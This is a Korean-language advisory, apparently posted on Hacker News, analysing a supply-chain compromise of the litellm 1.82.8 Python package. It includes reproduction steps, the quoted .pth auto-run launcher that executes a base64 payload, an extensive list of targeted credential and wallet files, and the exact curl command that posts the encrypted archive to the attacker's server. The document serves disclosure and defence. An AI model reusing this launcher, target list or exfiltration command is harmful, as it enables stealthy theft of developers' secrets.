LiteLLM Python 패키지가 공급망 공격으로 손상됨
Source: Hacker News
요약
litellm==1.82.8 휠 패키지에는 악성 .pth 파일(litellm_init.pth, 34,628 바이트)이 포함되어 있어 Python 인터프리터가 시작될 때마다 자격 증명을 탈취하는 스크립트를 자동으로 실행합니다 — import litellm을 할 필요가 없습니다.
이는 공급망 공격입니다. 악성 파일은 패키지 자체의 RECORD에 다음과 같이 명시되어 있습니다:
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628
재현
pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
pth = [n for n in z.namelist() if n.endswith('.pth')]
print('PTH files:', pth)
for p in pth:
print(z.read(p)[:300])
"
litellm_init.pth 파일에 다음과 같은 내용이 포함된 것을 볼 수 있습니다:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])
악성 행위 (전체 분석)
단계 1: 정보 수집
스크립트는 다음과 같은 다양한 민감 데이터를 수집합니다(예시 포함):
- 시스템 정보:
hostname,whoami,uname -a,ip addr,ip route - 환경 변수: 모든 변수(API 키, 비밀, 토큰 포함)
- SSH 키:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/id_ecdsa,~/.ssh/id_dsa,~/.ssh/authorized_keys,~/.ssh/known_hosts,~/.ssh/config - Git 자격 증명:
~/.gitconfig,~/.git-credentials - AWS 자격 증명:
~/.aws/credentials,~/.aws/config, IMDS 토큰 + 보안 자격 증명 - Kubernetes 비밀:
~/.kube/config,/etc/kubernetes/*.conf, 서비스 계정 토큰 - GCP 자격 증명:
~/.config/gcloud/application_default_credentials.json - Azure 자격 증명:
~/.azure/ - Docker 설정:
~/.docker/config.json,/kaniko/.docker/config.json,/root/.docker/config.json - 패키지 관리자 설정:
~/.npmrc,~/.vault-token,~/.netrc,~/.lftprc,~/.msmtprc,~/.my.cnf,~/.pgpass,~/.mongorc.js - 쉘 히스토리:
~/.bash_history,~/.zsh_history,~/.sh_history,~/.mysql_history,~/.psql_history,~/.rediscli_history - 암호화폐 지갑:
~/.bitcoin/,~/.litecoin/,~/.dogecoin/,~/.zcash/,~/.dashcore/,~/.ripple/,~/.bitmonero/,~/.ethereum/keystore/,~/.cardano/,~/.config/solana/등 디렉터리 - SSL/TLS 개인 키:
/etc/ssl/private/, Let’s Encrypt.pem및.key파일 - CI/CD 비밀:
terraform.tfvars,.gitlab-ci.yml,.travis.yml,Jenkinsfile,.drone.yml,Anchor.toml,ansible.cfg - 데이터베이스 자격 증명: PostgreSQL, MySQL, Redis, LDAP 설정 파일
- Webhook URL: 환경 변수 또는 설정 파일에 존재하는 Slack/Discord webhook URL
단계 2: 암호화 및 유출
- 수집된 데이터가 임시 파일에 기록됩니다.
openssl rand를 사용해 무작위 32바이트 AES‑256 세션 키를 생성합니다.- 데이터를
openssl enc -aes-256-cbc -pbkdf2로 암호화합니다. - AES 키를 하드코딩된 4096비트 RSA 공개키로
openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep를 이용해 암호화합니다. - 두 개의 암호화된 파일을
tpcp.tar.gz로 압축합니다. - 아카이브를 공격자 서버로 전송합니다:
curl -s -o /dev/null -X POST \
"https://models.litellm.cloud/" \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz
핵심 기술 세부 사항
- 트리거 메커니즘:
site‑packages/에 배치된.pth파일은 파이썬 인터프리터가 시작 시 자동으로 실행됩니다 (see the Python docs on .pth files). No explicitimportis required. - 스텔스: The payload is double‑base64‑encoded, making it invisible to simple source‑code greps.
- 유출 대상:
https://models.litellm.cloud/– note the domainlitellm.cloud(different from the officiallitellm.ai). - RSA 공개 키 (first 64 chars):
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...
영향
litellm==1.82.8 를 pip 로 설치한 모든 시스템에서 모든 환경 변수, SSH 키, 클라우드 자격 증명 및 기타 비밀이 수집되어 공격자 제어 서버로 전송되었습니다.
영향을 받는 환경:
- 로컬 개발 머신
- CI/CD 파이프라인
- Docker 컨테이너
- 프로덕션 서버
영향을 받은 버전
- 확인된 침해 버전:
litellm==1.82.8(wheellitellm-1.82.8-py3-none-any.whl) - 다른 버전: 아직 확인되지 않음 – 공격자가 추가 릴리스를 침해했을 가능성이 있음.
Recommended Actions
- PyPI maintainers: 즉시
litellm==1.82.8을 yank/remove 하세요. - Users:
site‑packages/디렉터리에서litellm_init.pth를 찾아 삭제하세요. - Users: 노출됐을 가능성이 있는 모든 자격 증명(환경 변수, SSH 키, 클라우드 제공자 키, API 토큰 등)을 회전(재발급)하세요.
- BerriAI (프로젝트 소유자): PyPI 배포 자격 증명 및 CI/CD 파이프라인을 감사하여 침해 가능성을 확인하세요.
Environment (where the issue was discovered)
- OS: Ubuntu 24.04 (Docker 컨테이너)
- Python: 3.13
pipinstalled from PyPI- 발견 날짜: 2026‑03‑24